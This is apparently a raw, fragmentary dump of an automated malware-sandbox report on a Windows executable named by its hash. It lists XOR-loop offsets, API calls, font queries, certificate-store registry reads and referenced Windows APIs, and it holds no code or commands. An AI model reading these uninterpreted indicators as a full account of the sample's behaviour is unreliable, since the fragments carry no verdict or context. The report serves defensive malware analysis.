"sample.bin" at offset 4892969; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4893988; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4896795; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4896937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4896940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4900215; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4900627; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4900801; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4901641; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4904953; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4905112; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4905354; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4905414; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4905890; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4908911; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4913687; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4914803; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4915113; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4915410; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4917235; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4917900; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4918414; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4920717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4922047; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4922855; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4924241; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4925285; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4925467; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4926866; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4927158; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4927631; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4928016; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4928277; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4928708; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4928859; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4930429; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4930480; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4930584; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4930621; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4931424; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4931645; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4931712; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4932104; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4932410; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4933351; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4933403; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4933477; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4934741; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4934972; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4935475; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4936043; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4936266; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4936596; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4937037; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4937123; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4939645; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4941322; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4941792; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4942009; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4942890; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4943212; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4943877; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4945685; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4946502; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4946820; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4947646; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4948155; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4948541; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4948656; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4949070; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4949088; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4949851; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4949893; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4949901; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4952645; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4953758; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4957353; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4958366; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4961085; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4962210; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4962452; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4963185; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4965098; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4965571; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4966244; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4966630; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4966912; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4968804; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4968834; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4970688; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4975601; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4977024; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4977092; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4977564; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4979600; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4979782; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4980650; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4981281; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4983503; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4983596; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4984848; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4985610; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4985810; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4986656; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4987717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4988472; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4988910; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4990479; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4991209; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4994248; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4994693; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4995167; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4997030; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4997886; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4998014; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4998202; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5000303; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5000703; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5002600; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5004654; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5004666; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5006409; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5006692; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5006850; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5007522; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5009345; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5010430; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5010755; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5011212; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5012267; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5012612; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5014053; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5014725; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5018707; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5019410; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5020473; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5022819; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5022906; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5023327; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5024200; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5024320; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5026597; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5027896; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5028646; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5029639; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5032390; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5032726; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5033239; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5033783; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5035469; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5035637; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5035986; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5036135; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5037283; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5037628; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5037821; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5038073; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5038123; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5039009; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5039594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5039783; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5039962; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5039968; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5040428; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5041683; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6509412; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7020846; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7234932; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7235203; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7259206; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 280667; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 304822; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 953248; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 953323; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1956124; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2152044; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2152524; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2153004; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2153374; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2153697; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2240495; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2250216; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2343269; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2631811; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2881898; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2948959; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2992412; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5047798; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5070294; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5122679; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5149976; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5174615; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5248648; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5657432; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6580136; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7419867; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7598143; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7884357; code bytes = 80302b:T80e,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005912)2c:T772,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\arial.ttf" at 00000000-00005912-00000C17-2142247540 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\ARIALN.TTF" at 00000000-00005912-00000C17-2142251471 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\ariali.ttf" at 00000000-00005912-00000C17-2142254936 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\ARIALNI.TTF" at 00000000-00005912-00000C17-2142258021 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\arialbd.ttf" at 00000000-00005912-00000C17-2142265228 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\ARIALNB.TTF" at 00000000-00005912-00000C17-2142281973 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\arialbi.ttf" at 00000000-00005912-00000C17-2142286970 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\ARIALNBI.TTF" at 00000000-00005912-00000C17-2142290295 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\ariblk.ttf" at 00000000-00005912-00000C17-2142292723 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\arialbd.ttf" at 00000000-00005912-00000C17-2142294953 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" queries volume information of "C:\Windows\Fonts\arial.ttf" at 00000000-00005912-00000C17-21423008302d:T727,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")2e:T8b1,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter SetProcessDpiAwarenessContext (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter GetDpiForWindow (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter EnableNonClientDpiScaling (UID: 00000000-00005912) "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" called "GetProcAddress" with a parameter AdjustWindowRectExForDpi (UID: 00000000-00005912)2f:T8595,Found reference to API (Indicator: "RevertToSelf"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ConvertSidToStringSidW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RegQueryValueExW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "OpenProcessToken"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ImpersonateAnonymousToken"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RegCloseKey"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RegOpenKeyExW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CopySid"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "IsValidSid"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetTokenInformation"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetLengthSid"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "BCryptGenRandom"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CoCreateFreeThreadedMarshaler"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CoTaskMemFree"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertDuplicateCertificateContext"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertFreeCertificateContext"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertCloseStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertEnumCertificatesInStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertDuplicateCertificateChain"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertAddCertificateContextToStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertDuplicateStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertOpenStore"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertFreeCertificateChain"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CertGetCertificateChain"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "BitBlt"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateSolidBrush"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SelectObject"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateCompatibleDC"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DeleteObject"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DeleteDC"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetDeviceCaps"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetOverlappedResult"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetFileAttributesW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetWaitableTimer"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "HeapReAlloc"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CompareStringOrdinal"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "LoadLibraryA"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetExitCodeProcess"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetFileTime"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GlobalLock"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ReadProcessMemory"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetStdHandle"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "UnmapViewOfFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GlobalSize"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SwitchToThread"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateProcessW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "LoadLibraryExA"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") 